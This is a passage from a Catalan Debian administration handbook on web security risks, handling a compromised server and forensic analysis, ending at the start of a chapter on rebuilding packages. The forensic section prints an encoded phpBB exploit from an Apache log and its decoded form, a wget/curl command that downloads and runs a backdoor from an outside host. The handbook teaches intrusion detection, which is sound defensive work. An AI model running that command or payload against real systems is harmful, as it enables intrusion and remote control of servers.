Una vegada que els 3 fitxers (exemple.if,exemple.fc, i exemple.te) coincideixen amb les vostres expectatives per a les noves regles, canvieu-los el nom a myapp.extensió i executeu make NAME=devel per generar un mòdul al fitxer myapp.pp (el podeu carregar immediatament amb semodule -i myapp.pp). Si es defineixen diversos mòduls, make crearà tots els fitxers corresponents .pp.

14.6. Altres consideracions de seguretat

La seguretat no és només un problema tècnic; més que res, es tracta de bones pràctiques i de comprendre els riscos. Aquesta secció revisa alguns dels riscos més comuns, així com algunes bones pràctiques que, depenent del cas, haurien d'augmentar la seguretat o reduir l'impacte d'un atac amb èxit.

14.6.1. Riscs inherents de les aplicacions web

El caràcter universal de les aplicacions web va portar a la seva proliferació. Diverses s'executen en paral·lel: un webmail, un wiki, algun sistema de treball en grup, fòrums, una galeria de fotos, un blog, etc. Moltes d'aquestes aplicacions es basen en la pila «LAMP» (Linux, Apache, MySQL, PHP). Lamentablement, moltes d'aquestes aplicacions també van ser escrites sense tenir molt en compte els problemes de seguretat. Les dades procedents de fora s'utilitzen massa sovint amb poca o cap validació. Es poden utilitzar valors especialment elaborats per subvertir una crida a una ordre perquè se n'executi una altra. Molts dels problemes més obvis s'han solucionat a mesura que ha passat el temps, però els nous problemes de seguretat apareixen regularment.

VOCABULARI Injecció SQL

Quan un programa insereix dades en consultes SQL d'una manera insegura, es torna vulnerable a injeccions SQL; aquest nom referencia l'acte de canviar un paràmetre de tal manera que la consulta real executada pel programa és diferent de la pretesa, ja sigui per danyar la base de dades o per accedir a dades que normalment no haurien de ser accessibles.

→ https://en.wikipedia.org/wiki/SQL_Injection

L'actualització regular de les aplicacions web és, per tant, una obligació, per evitar que qualsevol «cracker» (ja sigui un atacant professional o un «script kiddy») pugui explotar una vulnerabilitat coneguda. El risc real depèn del cas, i va des de la destrucció de dades fins a l'execució arbitrària de codi, incloent la desconfiguració del lloc web.

14.6.2. Saber què esperar

Una vulnerabilitat en una aplicació web s'utilitza sovint com a punt de partida per a intents d'intrusió. El que segueix és una breu revisió de les possibles conseqüències.

ULLADA RÀPIDA Filtratge de peticions HTTP

Apache 2 inclou mòduls que permeten filtrar consultes HTTP entrants. Això permet bloquejar alguns vectors d'atac. Per exemple, limitar la longitud dels paràmetres pot evitar els desbordaments de memòria. Més en general, es poden validar els paràmetres abans que es passin a l'aplicació web i restringir l'accés segons molts criteris. Això es pot combinar fins i tot amb actualitzacions dinàmiques de tallafocs, de manera que un client que infringeix una de les normes tingui prohibit accedir al servidor web durant un període determinat de temps.

L'establiment d'aquests controls pot ser una tasca llarga i enutjosa, però pot pagar la pena quan l'aplicació web que s'ha de desplegar té un historial discutible en matèria de seguretat.

mod-security2 (al paquet libapache2-mod-security2) és el mòdul principal d'aquest tipus. Fins i tot ve amb moltes regles pròpies llestes per a usar (al paquet modsecurity-crs) que es poden activar fàcilment.

Les conseqüències d'una intrusió tindran diversos nivells d'obvietat depenent de les motivacions de l'atacant. Els «Script-kiddies» només apliquen receptes que troben en llocs web; la majoria de vegades desmunten una pàgina web o n'eliminen dades. En casos més subtils, afegeixen continguts invisibles a les pàgines web per tal de millorar les referències als seus propis llocs en els motors de cerca.

Un atacant avançat anirà més enllà. Un escenari desastrós podria anar de la següent manera: l'atacant guanya la capacitat d'executar ordres com l'usuari www-data, però executar una ordre requereix moltes manipulacions. Per fer la seva vida més fàcil, instal·len altres aplicacions web especialment dissenyades per executar remotament molts tipus d'ordres, com ara navegar pel sistema de fitxers, examinar permisos, carregar o descarregar arxius, executar ordres, i fins i tot proporcionar un intèrpret de comandes via xarxa. Sovint, la vulnerabilitat permet executar una ordre wget que descarregarà algun programari maliciós a /tmp/, per després executar-lo. El programari maliciós es descarrega sovint des d'un lloc web extern compromès anteriorment, per amagar pistes i fer més difícil d'esbrinar l'origen real de l'atac.

En aquest punt, l'atacant té prou llibertat de moviments que sovint instal·la un bot d'IRC (un robot que connecta a un servidor d'IRC i que pot ser controlat per aquest canal). Aquest bot s'utilitza sovint per compartir arxius il·legals (còpies no autoritzades de pel·lícules o programari, etc.). Un atacant determinat pot voler anar encara més lluny. El compte www-data no permet l'accés complet a la màquina, i l'atacant intentarà obtenir privilegis d'administrador. Ara bé, això no hauria de ser possible, però si l'aplicació web no estava actualitzada, les possibilitats són que el nucli i altres programes també estan obsolets; això a vegades deriva d'una decisió de l'administrador que, malgrat saber sobre la vulnerabilitat, ignorar actualitzar el sistema, ja que no hi ha usuaris locals. L'atacant pot aprofitar-se d'aquesta segona vulnerabilitat per obtenir accés de superusuari.

VOCABULARI Escalada de privilegis

Aquest terme cobreix qualsevol cosa que es pugui utilitzar per obtenir més permisos dels que un usuari donat normalment hauria de tenir. El programa sudo està dissenyat precisament amb el propòsit de donar drets administratius a alguns usuaris. Però el mateix terme també s'utilitza per descriure l'acte d'un atacant que explota una vulnerabilitat per obtenir drets indeguts.

Ara l'atacant és propietari de la màquina; normalment intentaran mantenir aquest accés privilegiat el màxim temps possible. Això implica la instal·lació d'un «rootkit», un programa que substituirà alguns components del sistema perquè l'atacant pugui tornar a obtenir els privilegis d'administrador més endavant (vegeu ULLADA RÀPIDA Els paquets checksecurity i chkrootkit/rkhunter); el «rootkit» també intenta amagar la seva pròpia existència, així com qualsevol rastre de la intrusió. Un subvertit ps ometrà llistar alguns processos, netstat no llistarà algunes de les connexions actives, i així successivament. Utilitzant els permisos de superusuari, l'atacant podia observar tot el sistema, però no va trobar dades importants; així que intentaran accedir a altres màquines de la xarxa corporativa. Analitzant el compte de l'administrador i els arxius d'història, l'atacant troba a quines màquines s'hi accedeix de manera rutinària. En substituir sudo o ssh per un programa subvertit, l'atacant pot interceptar algunes de les contrasenyes de l'administrador, que utilitzaran en els servidors detectats... i des d'allà la intrusió pot anar-se propagant.

Es tracta d'un escenari de malson que pot evitar-se amb diverses mesures. Les següents seccions descriuen algunes d'aquestes mesures.

14.6.3. Triar el programari sàviament

Una vegada que es coneixen els possibles problemes de seguretat, s'han de tenir en compte en cada pas del procés de desplegament d'un servei, especialment quan es triï el programari per instal·lar. Molts llocs web mantenen una llista de vulnerabilitats recentment descobertes, que poden donar una idea d'un registre de l'historial de seguretat abans que es desplegui algun programari en particular. Per descomptat, aquesta informació ha d'estar equilibrada contra la popularitat d'aquest programari: un programa més àmpliament utilitzat és un objectiu més temptador, i per tant serà objecte d'un examen més detallat. D'altra banda, un programa “de nínxol” pot estar ple de forats de seguretat que mai són publicats a causa de la falta d'interès en una auditoria de seguretat.

VOCABULARI Auditoria de seguretat

Una auditoria de seguretat és el procés exhaustiu de lectura i anàlisi del codi font d'algun programari buscant possibles vulnerabilitats de seguretat que podria contenir. Aquestes auditories solen ser proactives i es duen a terme per assegurar que un programa compleix certs requisits de seguretat.

En el món del programari lliure hi ha un ampli marge d'elecció, i triar una peça de programari sobre una altra hauria de ser una decisió basada en els criteris que s'apliquen localment. Més característiques impliquen un major risc d'una vulnerabilitat amagada en el codi; triar el programa més avançat per a una tasca pot ser contraproduent, i un millor enfocament és normalment triar el programa més simple que compleix els requisits.

VOCABULARI Explotació de dia zero

Un atac de «zero-day exploit» o “explotació de dia zero” és difícil d'evitar; el terme cobreix una vulnerabilitat que encara no és coneguda pels autors del programa.

14.6.4. Gestió d'una màquina com un tot

La majoria de distribucions de Linux instal·len per defecte una sèrie de serveis Unix i moltes eines. En molts casos, aquests serveis i eines no són necessàries per als propòsits reals per als quals l'administrador va configurar la màquina. Com a directriu general en qüestions de seguretat, el programari no necessari és millor si està desinstal·lat. De fet, no té cap sentit assegurar un servidor FTP, si una vulnerabilitat en un altre servei no utilitzat es pot utilitzar per obtenir privilegis d'administrador en tota la màquina.

Amb el mateix raonament, els tallafocs sovint es configuraran per permetre només l'accés als serveis que estan destinats a ser accessibles públicament.

Els ordinadors actuals són prou potents per permetre l'allotjament de diversos serveis en la mateixa màquina física. Des d'un punt de vista econòmic, aquesta possibilitat és interessant: només un ordinador per administrar, un consum d'energia més baix, etc. No obstant això, des del punt de vista de la seguretat, aquesta elecció pot ser un problema. Un servei compromès pot portar accés a tota la màquina, que al seu torn compromet els altres serveis allotjats en el mateix ordinador. Aquest risc es pot mitigar aïllant els serveis. Això es pot aconseguir ja sigui amb virtualització (cada servei està allotjat en una màquina virtual o un contenidor dedicat), o amb AppArmor/SELinux (tenint cada dimoni de servei un conjunt de permisos adequadament dissenyat).

14.6.5. Els usuaris també juguen

El debat sobre la seguretat ens porta immediatament al cap la protecció contra els atacs de les «crackers» anònims que s'amaguen en la jungla d'Internet; però un fet que sovint s'oblida és que els riscos també venen de dins: un empleat que està a punt de sortir de l'empresa podria descarregar arxius sensibles dels projectes importants i vendre'ls a competidors; un venedor negligent podria deixar el seu escriptori sense tancar la sessió durant una reunió amb un nou prospecte; un usuari maldestre podria eliminar el directori equivocat per error, etc.

La resposta a aquests riscos pot implicar solucions tècniques: no s'han de concedir més dels permisos requerits als usuaris i les còpies de seguretat regulars són una obligació. Però en molts casos, la protecció adequada implicarà la formació dels usuaris per a evitar riscos.

ULLADA RÀPIDAautolog

El paquet autolog proporciona un programa que desconnecta automàticament els usuaris inactius després d'un retard configurable. També permet matar els processos d'usuari que persisteixen després d'un final de sessió, impedint així que els usuaris puguin executar dimonis.

14.6.6. Seguretat física

No té sentit assegurar els serveis i les xarxes si els propis ordinadors no estan protegits. Les dades importants mereixen ser emmagatzemades en discs durs d'intercanvi en calent en matrius RAID, perquè els discs durs fallen eventualment i la disponibilitat de dades és una necessitat. Però si un noi repartidor de pizzes pot entrar a l'edifici, entrar a la sala del servidor i fugir amb uns quants discs durs seleccionats, una part important de la seguretat no es compleix. Qui pot entrar a la sala del servidor? Està controlat l'accés? Aquestes preguntes mereixen consideració (i una resposta) quan s'està avaluant la seguretat física.

La seguretat física també inclou tenir en compte els riscos d'accidents com els incendis. Aquest risc particular és el que justifica l'emmagatzematge dels mitjans de còpia de seguretat en un edifici separat, o almenys en una caixa forta a prova de foc.

14.6.7. Responsabilitat legal

Un administrador és, més o menys implícitament, de confiança pels seus usuaris, així com dels usuaris de la xarxa en general. Per tant, hauria d'evitar qualsevol negligència que les persones malèvoles puguin explotar.

Un atacant que prengui el control de la vostra màquina i després l'utilitzi com a base avançada (conegut com a «relay system» o “sistema de transmissió”) a partir de la qual realitzi altres activitats nefastes podria comportar problemes legals, ja que la part atacada inicialment veuria l'atac procedent del vostre sistema, i per tant podeu ser considerats atacants (o còmplices). En molts casos, l'atacant utilitzarà el vostre servidor com a relé per enviar correu brossa, que no hauria de tenir gaire impacte (excepte el potencial ingrés en llistes negres que podria restringir la vostra capacitat d'enviar correus electrònics legítims), però no serà agradable. En altres casos, es poden causar problemes més importants des de la vostra màquina, per exemple, atacs de denegació de servei. A vegades això provocarà pèrdues d'ingressos, ja que els serveis legítims no estaran disponibles i les dades poden ser destruïts; a vegades això també implicarà un cost real, perquè la part atacada pot iniciar procediments legals contra vós. Els titulars de drets poden demandar-vos si una còpia no autoritzada d'una obra protegida per la llei de drets d'autor és compartida des del vostre servidor, així com altres empreses obligades per acords de nivell de servei si estan obligades a pagar sancions després de l'atac des de la vostra màquina.

Quan es produeixen aquestes situacions, alegar innocència no sol ser suficient; com a mínim, necessitareu proves convincents que mostrin l'activitat sospitosa en el vostre sistema procedent d'una adreça IP donada. Això no serà possible si descureu les recomanacions d'aquest capítol i deixeu que l'atacant aconsegueixi accés a un compte privilegiat («root», en particular) i l'utilitzi per amagar les seves traces.

14.7. Tractament d'una màquina compromesa

Malgrat les millors intencions i malgrat dissenyar acuradament la política de seguretat, un administrador s'enfrontarà eventualment a un acte de “segrest”. Aquesta secció proporciona algunes directrius sobre com reaccionar davant aquestes circumstàncies desafortunades.

14.7.1. Detecció i visualització de la intrusió del «cracker»

El primer pas per a reaccionar davant les esquerdes és ser conscient d'aquest acte. Això no és evident, especialment sense una infraestructura de monitorització adequada.

Els actes d'intrusió sovint no es detecten fins que tenen conseqüències directes en els serveis legítims allotjats a la màquina, com ara connexions que s'alenteixen, alguns usuaris que no poden connectar-se, o qualsevol altre tipus de disfunció. Davant aquests problemes, l'administrador ha de tenir una bona visió de la màquina i examinar amb cura el que no rutlla. Aquest és normalment el moment en què es descobreix un procés inusual, per exemple, un d'anomenat apache en lloc de l'estàndard /usr/sbin/apache2. Si seguim aquest exemple, el que cal fer és observar el seu identificador de procés, i comprovar /proc/pid/exe per veure quin programa està executant realment aquest procés:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Un programa instal·lat sota /var/tmp/ i executant-se com a servidor web? No hi ha cap dubte que la màquina està compromesa.

Aquest és només un exemple, però molts altres suggeriments poden encendre la llumeta de l'administrador:

una opció d'una ordre que ja no funciona; la versió del programari que l'ordre diu que no coincideix amb la versió que se suposa que s'ha d'instal·lar segons dpkg;

un missatge d'intèrpret d'ordres o una salutació d'inici de sessió indicant que l'última connexió venia d'un servidor desconegut en un altre continent;

errors causats per la partició /tmp/ que va resultar estar plena de còpies il·legals de pel·lícules;

etc.

14.7.2. Desconnectar el servidor

Tret dels casos més exòtics, la intrusió prové de la xarxa, i l'atacant necessita una xarxa funcional per aconseguir els seus objectius (accés a dades confidencials, compartició d'arxius il·legals, amagar la identitat mitjançant l'ús de la màquina com a relé, etc.). Si encara no ho han aconseguit, desconnectar l'ordinador de la xarxa impedirà que l'atacant arribi a aquests objectius.

Això només pot ser possible si el servidor és físicament accessible. Quan el servidor està allotjat en un centre de dades d'un proveïdor d'allotjament a l'altre costat del país, o si el servidor no és accessible per cap altra raó, normalment és una bona idea començar recopilant informació important (vegeu Secció 14.7.3, «Mantenir tot el que es pugui utilitzar com a evidència», Secció 14.7.5, «Anàlisi forense» i Secció 14.7.6, «Reconstrucció de l'escenari d'atac»), per després aïllar aquest servidor tant com sigui possible mitjançant el tancament de tots els serveis possibles (normalment tots excepte sshd). Aquest cas encara és incòmode, ja que no es pot descartar la possibilitat que l'atacant tingui accés a SSH com té l'administrador; això fa més difícil “netejar” les màquines.

14.7.3. Mantenir tot el que es pugui utilitzar com a evidència

Comprendre l'atac i/o emprendre accions legals contra els atacants requereix fer còpies de tots els elements importants; això inclou el contingut del disc dur, una llista de tots els processos en execució, i una llista de totes les connexions obertes. El contingut de la RAM també es podria utilitzar, però rarament s'utilitza en la pràctica.

En la intensitat del moment, els administradors sovint es veuen temptats de realitzar moltes comprovacions a la màquina compromesa; això normalment no és una bona idea. Tota ordre està potencialment subvertida i pot esborrar evidències. Les comprovacions s'han de restringir al conjunt mínim (netstat -tupan per a les connexions de xarxa,ps auxf per a una llista de processos,ls -alR /proc/[0-9]* per a una mica més d'informació sobre els programes en execució), i cada comprovació realitzada s'ha de documentar amb cura.

COMPTE Anàlisi en calent

Tot i que pot semblar temptador analitzar el sistema tal com funciona, especialment quan el servidor no és físicament accessible, és millor evitar-ho: simplement no es pot confiar en els programes instal·lats en el sistema compromès. És bastant possible que una ordre ps subvertida amagui alguns processos, o que un subvertit ls amagui fitxers; de vegades fins i tot el nucli està compromès!

Si tot i així es necessita una anàlisi en calent, s'hauria de tenir cura d'utilitzar només programes confiables. Una bona manera de fer-ho seria tenir un CD de rescat amb programes impoluts, o un espai compartit de xarxa de només lectura. No obstant això, fins i tot aquestes contramesures poden no ser suficients si el nucli mateix està compromès.

Un cop s'han salvat els elements “dinàmics”, el següent pas és emmagatzemar una imatge completa del disc dur. Fer una imatge així és impossible si el sistema de fitxers encara està evolucionant, i per això ha de ser remuntat només de lectura. La solució més simple és sovint aturar el servidor de cop (després d'executar sync) i reiniciar-lo amb un CD de rescat. Cada partició s'ha de copiar amb una eina com dd; aquestes imatges es poden enviar a un altre servidor (possiblement amb la molt convenient eina nc). Una altra possibilitat pot ser fins i tot més simple: simplement treure el disc de la màquina i substituir-lo per un altre de nou que pugui ser reformatat i reinstal·lat.

14.7.4. Reinstal·lació

El servidor no s'ha de tornar a posar en línia sense una reinstal·lació completa. Si el compromís era sever (si s'obtenien privilegis administratius), gairebé no hi ha una altra manera d'assegurar-se que ens desfem de tot el que l'atacant podia haver deixat (particularment «backdoors» o “portes del darrera, amagades”). Per descomptat, també han d'aplicar-se totes les últimes actualitzacions de seguretat per a tapar la vulnerabilitat utilitzada per l'atacant. Idealment, analitzar l'atac hauria d'apuntar al vector d'atac, de manera que es pot estar segur de solucionar-lo; en cas contrari, només es pot esperar que la vulnerabilitat fos una de les arreglades per les actualitzacions.

La reinstal·lació d'un servidor remot no sempre és fàcil; pot implicar l'assistència de l'empresa d'allotjament, perquè no totes aquestes empreses proporcionen sistemes de reinstal·lació automatitzada o consoles remotes (tot i que aquests casos haurien de ser pocs). S'ha de tenir cura de no tornar a instal·lar la màquina de còpies de seguretat preses posteriorment al compromís. Idealment, només s'han de restaurar les dades; el programari real s'ha de reinstal·lar des de mitjans d'instal·lació.

14.7.5. Anàlisi forense

Ara que el servei ha estat restaurat, és hora de tenir una mirada més estreta a les imatges en disc del sistema compromès per tal d'entendre el vector d'atac. Quan es munten aquestes imatges, s'ha de tenir cura d'utilitzar les opcions ro,nodev,noexec,noatime per evitar canviar el contingut (incloent les marques horàries d'accés als fitxers) o executar per error programes compromesos.

Resseguir un escenari d'atac sol implicar buscar tot el que es va modificar i executar:

els fitxers .bash_history sovint proporcionen una lectura molt interessant;

com també ho és la llista dels fitxers que s'han creat, modificat o accedit recentment;

l'ordre strings ajuda a identificar programes instal·lats per l'atacant, mitjançant l'extracció de cadenes de text d'un binari;

els fitxers de registre de /var/log/ sovint permeten reconstruir una cronologia dels esdeveniments;

Certes eines específiques també permeten restaurar el contingut de fitxers potencialment eliminats, incloent-hi fitxers de registre que els atacants sovint eliminen.

Algunes d'aquestes operacions es poden facilitar amb programari especialitzat. En particular, el paquet sleuthkit proporciona moltes eines per analitzar un sistema de fitxers. El seu ús es fa més fàcil amb la interfície gràfica d'Autopsy Forensic Browser (al paquet autopsy). Algunes distribucions de Linux tenen una imatge d'instal·lació en viu («live install») i contenen molts programes per a l'anàlisi forense, com Kali Linux (vegeu Secció A.8, «Kali Linux»), amb el seu mode forense, BlackArchLinux, i el comercial Grml-Forensic, basat en Grml (vegeu Secció A.6, «Grml»).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. Reconstrucció de l'escenari d'atac

Tots els elements recollits durant l'anàlisi haurien d'ajustar-se com peces en un trencaclosques; la creació dels primers fitxers sospitosos sovint està correlacionada amb registres que demostren la ruptura. Un exemple en el món real hauria de ser més explícit que les llargues elucubracions teòriques.

El següent registre és un extracte d'un access.log d'Apache:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Aquest exemple coincideix amb l'explotació d'una antiga vulnerabilitat de seguretat a phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

La descodificació d'aquest llarg URL porta a entendre que l'atacant va aconseguir executar algun codi PHP, és a dir: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). De fet, es va trobar un fitxer bd a /tmp/. Executant strings /mnt/tmp/bd retorna, entre altres cadenes, PsychoPhobia Backdoor is starting.... Això sembla realment una porta del darrere.

Un temps més tard, aquest accés es va utilitzar per descarregar, instal·lar i executar un bot d'IRC que connectava a una xarxa IRC clandestina. El bot es podia controlar a través d'aquest protocol i se li va donar instruccions per descarregar fitxers per compartir. Aquest programa fins i tot té el seu propi fitxer de registre:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Aquestes traces mostren que s'han emmagatzemat dos fitxers de vídeo al servidor a través de l'adreça IP 82.50.72.202.

En paral·lel, l'atacant també va descarregar un parell de fitxers addicionals, /tmp/pt i /tmp/loginx. Executant aquests fitxers a través de strings condueix a cadenes com Shellcode placed at 0x%08lx i Now wait for suid shell.... Aquests semblen programes que exploten vulnerabilitats locals per obtenir privilegis administratius. Aconseguiren el seu objectiu? En aquest cas, probablement no, ja que sembla que no s'ha modificat cap arxiu després de la intrusió inicial.

En aquest exemple s'ha reconstruït tota la intrusió, i es pot deduir que l'atacant ha estat capaç d'aprofitar el sistema compromès durant uns tres dies; però l'element més important en l'anàlisi és que la vulnerabilitat s'ha identificat, i l'administrador pot estar segur que la nova instal·lació realment soluciona la vulnerabilitat.

Capítol 15. Creació d'un paquet Debian

És bastant habitual que un administrador que ha estat gestionant paquets Debian de manera regular senti finalment la necessitat de crear els seus propis paquets, o de modificar un paquet existent. Aquest capítol pretén respondre a les preguntes més comunes en aquest camp, i proporcionar els elements necessaris per aprofitar la infraestructura de Debian de la millor manera. Amb sort, després d'haver-ho intentat amb paquets locals, potser fins i tot sentiu la necessitat d'anar més enllà i unir-vos al propi projecte Debian!

15.1. Recompilació d'un paquet a partir de les fonts

Recompilar un paquet binari és necessari sota diversos conjunts de circumstàncies. En alguns casos, l'administrador necessita una característica de programari que requereix que el programari sigui compilat a partir de les fonts, amb una opció de compilació particular; en altres, el programari empaquetat en la versió instal·lada de Debian no és prou recent. En aquest últim cas, l'administrador normalment crearà un paquet més recent a partir d'una versió més nova de Debian — com ara Testing o fins i tot Unstable — de manera que aquest nou paquet funcioni a la distribució Stable; aquesta operació s'anomena «backporting». Com de costum, abans d'emprendre una tasca d'aquest tipus, s'hauria de tenir cura de comprovar si ja s'ha fet — un cop d'ull ràpid al Debian Package Tracker per a aquest paquet revelarà aquesta informació.

→ https://tracker.debian.org/

15.1.1. Obtenir les fonts

La recompilació d'un paquet Debian comença per obtenir el seu codi font. La manera més senzilla és utilitzar l'ordre apt-get source nom-del-paquet. Aquesta ordre requereix una línia deb-src al fitxer /etc/apt/sources.list, i fitxers d'índex actualitzats (és a dir, apt-get update). Aquestes condicions ja s'haurien de complir si seguiu les instruccions del capítol que tracta sobre la configuració d'APT (vegeu Secció 6.1, «Omplint el fitxer sources.list»). Tingueu en compte, però, que descarregareu els paquets font de la versió Debian mencionada a la línia deb-src.

Si es necessita una altra versió, potser s'ha de descarregar manualment des d'un mirall de Debian o des del lloc web. Això implica la descàrrega de dos o tres fitxers (amb les extensions *.dsc – de Debian Source Control – *.tar.comp, i de vegades *.diff.gz o *.debian.tar.comp — comp eesent un valor entre gz, bz2 o xz depenent de l'eina de compressió usada), i llavors executeu l'ordre dpkg-source -x fitxer.dsc. Si el fitxer *.dsc és directament accessible en una URL donada, hi ha una manera encara més senzilla d'obtenir-ho tot, amb l'ordre dget URL. Aquesta ordre (que es pot trobar al paquet devscripts) obté el fitxer *.dsc a l'adreça donada, després n'analitza el contingut, i automàticament descarrega el fitxer o fitxers referenciats dins. Una vegada que tot s'ha baixat, verifica la integritat dels paquets font descarregats utilitzant dscverify, i extreu el paquet font (tret que s'utilitzi l'opció -d o --download-only). Es necessita l'anell de claus de Debian, llevat que se li passi l'opció -u.

15.1.2. Fer canvis

Usem el paquet samba com a exemple.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 12.3 MB of source archives. Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B] Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB] Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB] Fetched 12.3 MB in 3s (4,582 kB/s) dpkg-source: info: extracting samba in samba-4.13.13+dfsg dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch dpkg-source: info: applying [...]

El codi font del paquet està disponible en un directori anomenat a partir del nom del paquet font i de la versió (samba-4.13.13+dfsg); aquí és on treballarem en els nostres canvis locals.

El primer que cal fer és canviar el número de versió del paquet, de manera que els paquets reconstruïts es puguin distingir dels paquets originals proporcionats per Debian. Suposant que la versió actual és 2:4.13.13+dfsg-1~deb11u3, es pot crear la versió 2:4.13.13+dfsg-1~deb11u3+falcot1, que indica clarament l'origen del paquet. Això fa que el número de la versió del paquet sigui més alt que el que proporciona Debian, de manera que el paquet s'instal·larà fàcilment com una actualització del paquet original. Aquest canvi és millor fer-lo amb l'ordre dch (Debian CHangelog) del paquet devscripts.

$ cd 4.13.13+dfsg-1~deb11u3 $ dch --local +falcot

L'última ordre invoca un editor de text (sensible-editor — aquest hauria de ser el vostre editor preferit si s'esmenta en les variables d'entorn VISUAL o EDITOR, i l'editor per defecte altrament) per permetre documentar les diferències aportades per aquesta recompilació. Aquest editor ens mostra que dch realment ha canviat el fitxer debian/changelog.

Quan es requereix un canvi en les opcions de compilació, els canvis s'han de fer a debian/rules, que controlar les passes del procés de construcció de paquets. En els casos més senzills, les línies relatives a la configuració inicial (./configure ...) o la compilació real ($(MAKE) ... o make ... o cmake … o ...) són fàcils de veure. Si aquestes ordres no es criden explícitament, són probablement un efecte colateral d'una altra ordre explícita, en aquest cas consulteu la seva documentació per aprendre més sobre com canviar el comportament per defecte. Amb els paquets que utilitzen dh, és possible que hàgiu d'afegir un «override» o “substitució” per a les ordres dh_auto_configure o dh_auto_build (vegeu les seves respectives pàgines de manual i debhelper(7) per a explicacions sobre com aconseguir-ho).

Depenent dels canvis locals en els paquets, també es pot requerir una actualització al fitxer debian/control, que conté una descripció dels paquets generats. En concret, aquest fitxer conté línies Build-Depends que controlen la llista de dependències que s'han de complir en el moment de compilació del paquet. Aquestes sovint es refereixen a versions dels paquets continguts en la distribució del paquet font, però que poden no estar disponibles en la distribució utilitzada per a la recompilació. No hi ha una manera automatitzada de determinar si una dependència és real o només especificada per garantir que la construcció només s'hauria d'intentar amb l'última versió d'una biblioteca — aquesta és l'única manera que hi ha per forçar un «autobuilder» a utilitzar una versió donada del paquet durant la compilació, que és per això que els mantenidors de Debian sovint utilitzen dependències de construcció amb versions “estrictes”.

Si se sap amb seguretat que aquestes dependències de construcció són massa estrictes, no hi patiu per relaxar-les localment. Llegir els fitxers que documenten la manera estàndard de construir el programari — aquests fitxers sovint s'anomenen INSTALL — us ajudarà a esbrinar les dependències apropiades. Idealment, totes les dependències han de ser satisfetes des de la distribució utilitzada per a la recompilació; si no ho són, s'inicia un procés recursiu en el qual els paquets esmentats al camp Build-Depends han de ser “retroadaptats” abans que el paquet desitjat ho pugui ser. Alguns paquets poden no necessitar “retroadaptació”, i es poden instal·lar tal qual durant el procés de construcció (un exemple notable és debhelper). Tingueu en compte que el procés de retroadaptació pot tornar-se complex ràpidament si no aneu amb compte. Per tant, les retroadaptacions han de mantenir-se en un mínim estricte sempre que sigui possible.

SUGGERIMENT Instal·lació dels Build-Depends

apt-get permet la instal·lació de tots els paquets esmentats als camps Build-Depends d'un paquet font disponible en una distribució esmentada en una línia deb-src del fitxer /etc/apt/sources.list. Aquesta és tant senzill com executar l'ordre apt-get build-dep paquet.

15.1.3. Inici de la recompilació

